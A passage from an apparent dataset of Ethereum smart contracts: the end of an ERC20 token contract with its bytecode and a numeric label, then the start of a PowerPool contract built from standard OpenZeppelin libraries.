// Internal transfer function
// ------------------------------------------------------------------------
function _transfer(address from, address to, uint256 tokens) internal {
balances[from] = balances[from].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public override returns (bool success) {
_approve(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Increase the amount of tokens that an owner allowed to a spender.
// ------------------------------------------------------------------------
function increaseAllowance(address spender, uint addedTokens) public returns (bool success) {
_approve(msg.sender, spender, allowed[msg.sender][spender].add(addedTokens));
return true;
}
// ------------------------------------------------------------------------
// Decrease the amount of tokens that an owner allowed to a spender.
// ------------------------------------------------------------------------
function decreaseAllowance(address spender, uint subtractedTokens) public returns (bool success) {
_approve(msg.sender, spender, allowed[msg.sender][spender].sub(subtractedTokens));
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
_approve(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
// ------------------------------------------------------------------------
// Approve an address to spend another addresses' tokens.
// ------------------------------------------------------------------------
function _approve(address owner, address spender, uint256 value) internal {
require(owner != address(0));
require(spender != address(0));
allowed[owner][spender] = value;
emit Approval(owner, spender, value);
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public override returns (bool success) {
require(to != address(0));
_approve(from, msg.sender, allowed[from][msg.sender].sub(tokens));
_transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public override view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
// ------------------------------------------------------------------------
// Tokens multisend from owner only by owner
// ------------------------------------------------------------------------
function multisend(address[] memory to, uint[] memory values) public onlyOwner returns (uint) {
require(to.length == values.length);
require(to.length < 100);
uint sum;
for (uint j; j < values.length; j++) {
sum += values[j];
}
balances[owner] = balances[owner].sub(sum);
for (uint i; i < to.length; i++) {
balances[to[i]] = balances[to[i]].add(values[i]);
emit Transfer(owner, to[i], values[i]);
}
return(to.length);
}
} | 0x608060405234801561001057600080fd5b50600436106101215760003560e01c806395d89b41116100ad578063d4ee1d9011610071578063d4ee1d9014610513578063d85bd5261461051b578063dc39d06d14610523578063dd62ed3e1461054f578063f2fde38b1461057d57610121565b806395d89b41146102d1578063a457c2d7146102d9578063a9059cbb14610305578063aad41a4114610331578063cae9ca511461045857610121565b8063313ce567116100f4578063313ce56714610233578063395093511461025157806370a082311461027d57806379ba5097146102a35780638da5cb5b146102ad57610121565b806306fdde0314610126578063095ea7b3146101a357806318160ddd146101e357806323b872dd146101fd575b600080fd5b61012e6105a3565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610168578181015183820152602001610150565b50505050905090810190601f1680156101955780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101cf600480360360408110156101b957600080fd5b506001600160a01b038135169060200135610631565b604080519115158252519081900360200190f35b6101eb610648565b60408051918252519081900360200190f35b6101cf6004803603606081101561021357600080fd5b506001600160a01b0381358116916020810135909116906040013561064e565b61023b6106b8565b6040805160ff9092168252519081900360200190f35b6101cf6004803603604081101561026757600080fd5b506001600160a01b0381351690602001356106c1565b6101eb6004803603602081101561029357600080fd5b50356001600160a01b03166106fd565b6102ab610718565b005b6102b5610793565b604080516001600160a01b039092168252519081900360200190f35b61012e6107a2565b6101cf600480360360408110156102ef57600080fd5b506001600160a01b0381351690602001356107fa565b6101cf6004803603604081101561031b57600080fd5b506001600160a01b038135169060200135610836565b6101eb6004803603604081101561034757600080fd5b81019060208101813564010000000081111561036257600080fd5b82018360208201111561037457600080fd5b8035906020019184602083028401116401000000008311171561039657600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092959493602081019350359150506401000000008111156103e657600080fd5b8201836020820111156103f857600080fd5b8035906020019184602083028401116401000000008311171561041a57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610870945050505050565b6101cf6004803603606081101561046e57600080fd5b6001600160a01b038235169160208101359181019060608101604082013564010000000081111561049e57600080fd5b8201836020820111156104b057600080fd5b803590602001918460018302840111640100000000831117156104d257600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610a57945050505050565b6102b5610b4f565b6101cf610b5e565b6101cf6004803603604081101561053957600080fd5b506001600160a01b038135169060200135610b6e565b6101eb6004803603604081101561056557600080fd5b506001600160a01b0381358116916020013516610c10565b6102ab6004803603602081101561059357600080fd5b50356001600160a01b0316610c3b565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156106295780601f106105fe57610100808354040283529160200191610629565b820191906000526020600020905b81548152906001019060200180831161060c57829003601f168201915b505050505081565b600061063e338484610c8f565b5060015b92915050565b60055490565b60006001600160a01b03831661066357600080fd5b6001600160a01b0384166000908152600760209081526040808320338085529252909120546106a391869161069e908663ffffffff610d1716565b610c8f565b6106ae848484610d2c565b5060019392505050565b60045460ff1681565b3360008181526007602090815260408083206001600160a01b0387168452909152812054909161063e91859061069e908663ffffffff610de616565b6001600160a01b031660009081526006602052604090205490565b6001546001600160a01b0316331461072f57600080fd5b600154600080546040516001600160a01b0393841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a360018054600080546001600160a01b03199081166001600160a01b03841617909155169055565b6000546001600160a01b031681565b6002805460408051602060018416156101000260001901909316849004601f810184900484028201840190925281815292918301828280156106295780601f106105fe57610100808354040283529160200191610629565b3360008181526007602090815260408083206001600160a01b0387168452909152812054909161063e91859061069e908663ffffffff610d1716565b3360009081526006602052604081205482111561085257600080fd5b6001600160a01b03831661086557600080fd5b61063e338484610d2c565b600080546001600160a01b0316331461088857600080fd5b815183511461089657600080fd5b60648351106108a457600080fd5b6000805b83518110156108d6578381815181106108bd57fe5b60200260200101518201915080806001019150506108a8565b50600080546001600160a01b0316815260066020526040902054610900908263ffffffff610d1716565b600080546001600160a01b03168152600660205260408120919091555b8451811015610a4d5761098484828151811061093557fe5b60200260200101516006600088858151811061094d57fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002054610de690919063ffffffff16565b6006600087848151811061099457fe5b60200260200101516001600160a01b03166001600160a01b03168152602001908152602001600020819055508481815181106109cc57fe5b60200260200101516001600160a01b03166000809054906101000a90046001600160a01b03166001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef868481518110610a2857fe5b60200260200101516040518082815260200191505060405180910390a360010161091d565b5050915192915050565b6000610a64338585610c8f565b604051638f4ffcb160e01b815233600482018181526024830186905230604484018190526080606485019081528651608486015286516001600160a01b038a1695638f4ffcb195948a94938a939192909160a490910190602085019080838360005b83811015610ade578181015183820152602001610ac6565b50505050905090810190601f168015610b0b5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015610b2d57600080fd5b505af1158015610b41573d6000803e3d6000fd5b506001979650505050505050565b6001546001600160a01b031681565b600154600160a01b900460ff1681565b600080546001600160a01b03163314610b8657600080fd5b600080546040805163a9059cbb60e01b81526001600160a01b0392831660048201526024810186905290519186169263a9059cbb926044808401936020939083900390910190829087803b158015610bdd57600080fd5b505af1158015610bf1573d6000803e3d6000fd5b505050506040513d6020811015610c0757600080fd5b50519392505050565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b6000546001600160a01b03163314610c5257600080fd5b6001546001600160a01b0382811691161415610c6d57600080fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610ca257600080fd5b6001600160a01b038216610cb557600080fd5b6001600160a01b03808416600081815260076020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b600082821115610d2657600080fd5b50900390565b6001600160a01b038316600090815260066020526040902054610d55908263ffffffff610d1716565b6001600160a01b038085166000908152600660205260408082209390935590841681522054610d8a908263ffffffff610de616565b6001600160a01b0380841660008181526006602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b8181018281101561064257600080fdfea2646970667358221220aef679bf96357f06801a9446f45be24dc6f43ce01cddaeb9a963ad8c7e78627664736f6c63430006060033 | [
12
] |
0xf3505383b740af8c241f1cf6659619a9c38d0281 | /*
https://powerpool.finance/
wrrrw r wrr
ppwr rrr wppr0 prwwwrp prwwwrp wr0
rr 0rrrwrrprpwp0 pp pr prrrr0 pp 0r prrrr0 0rwrrr pp pr prrrr0 prrrr0 r0
rrp pr wr00rrp prwww0 pp wr pp w00r prwwwpr 0rw prwww0 pp wr pp wr r0
r0rprprwrrrp pr0 pp wr pr pp rwwr wr 0r pp wr pr wr pr r0
prwr wrr0wpwr 00 www0 0w0ww www0 0w 00 www0 www0 0www0
wrr ww0rrrr
*/
// File: @openzeppelin/contracts/GSN/Context.sol
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
